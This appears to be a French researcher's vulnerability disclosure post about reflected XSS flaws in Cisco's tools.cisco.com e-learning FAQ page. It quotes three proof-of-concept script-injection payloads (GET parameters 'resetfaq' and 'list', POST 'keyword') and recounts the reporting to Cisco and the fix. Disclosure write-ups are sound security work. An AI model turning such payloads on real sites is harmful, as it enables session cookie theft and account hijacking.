Plusieurs vulnérabilités de type Cross-Site Scripting réfléchies (RXSS) ont été décelées sur un sous-domaine de Cisco.
Cisco Systems est une entreprise spécialisée à l’origine dans le matériel réseau (routeur et commutateur ethernet), et depuis 2009 dans les serveurs et les réseaux. Cisco est le leader mondial d’équipement réseau pour l’Internet. 85% du trafic de part le monde transite au travers d’équipements Cisco. L’entreprise équipe, assure le support et l’exploitation de la plupart des majors de l’industrie mondiale.
Cisco.com dispose de nombreux sous-domaines, notamment « tools.cisco.com » dont la plupart des outils en-lignes disponibles nécessitent une authentification (fédération / SSO entre services). La création d’un compte se fait très rapidement, et par conséquent il est possible d’accéder à ces services tout en disposant d’une session authentifiée via un cookie.
Tools.cisco.com propose un service d’e-learning, et celui-ci s’avère vulnérable à de multiple Cross-Site Scripting réfléchis (RXSS).
Proof-of-Concept n°1 :
Le paramètre GET « resetfaq » n’est pas convenablement nettoyé / vérifié / sanitized avant d’être réutilisé au sein du corps de la page.
http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp?action=faqList&type=0:1&module=FAQ&appid=12570&rootcatid=12570&resetfaq=1"><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden&list=all&type=0:1>
L’injection au sein du code n’applique aucun filtre ni traitement de protection :
Ces espaces d’e-learning étant destinés à des utilisateurs authentifiés (partenaires, fournisseurs, intégrateurs, particuliers…), le cookie de session est donc disponible pour un éventuel assaillant :
Proof-of-Concept n°2 :
Le paramètre GET « list » n’est pas convenablement nettoyé / vérifié / sanitized avant d’être réutilisé au sein du corps de la page.
http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp?action=faqList&type=0:1&module=FAQ&appid=12570&rootcatid=12570&resetfaq=1&list=all"><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden&type=0:1>
Proof-of-Concept n°3 :
Le paramètre POST « keyword » n’est pas convenablement nettoyé / vérifié / sanitized avant d’être réutilisé au sein du corps de la page.
http://tools.cisco.com/elearning/faqnet/faq/jsp/faqcontroller.jsp
Données POST :
action=faqAdvanceSearch&appid=12570&module=FAQ&targetID=12570&resetfaq=1&list=all&type=0%3A1&keyword="><script>alert(/Reflected XSS - Yann CAM @ASAfety/);</script><input type="hidden" value="&Submit=Search
Rendu :
Alerte et échanges
Les équipes du PSIRT de Cisco ont été alertées vis-à-vis de ces vulnérabilités. Suite à un email de remerciement, l’alerte a été transmise aux équipes du CSIRT qui s’occupe de la sécurité des différents espaces online de Cisco :
Hi Yann,
Thanks for passing on this information. We take genuine security threats seriously at Cisco, and have ensured your report has reached the right place for review and inspection.
Thanks,
Jin Yang
Après une relance pour obtenir un statut de correction quelques mois plus tard, les vulnérabilités ont finalement été comblées. L’outil d’e-learning traite à présent convenablement l’injection de code JavaScript arbitraire :
Je salue les équipes PSIRT et CSIRT de Cisco pour leur amabilité, leur disponibilité et la qualité de leurs services.
Sources & ressources :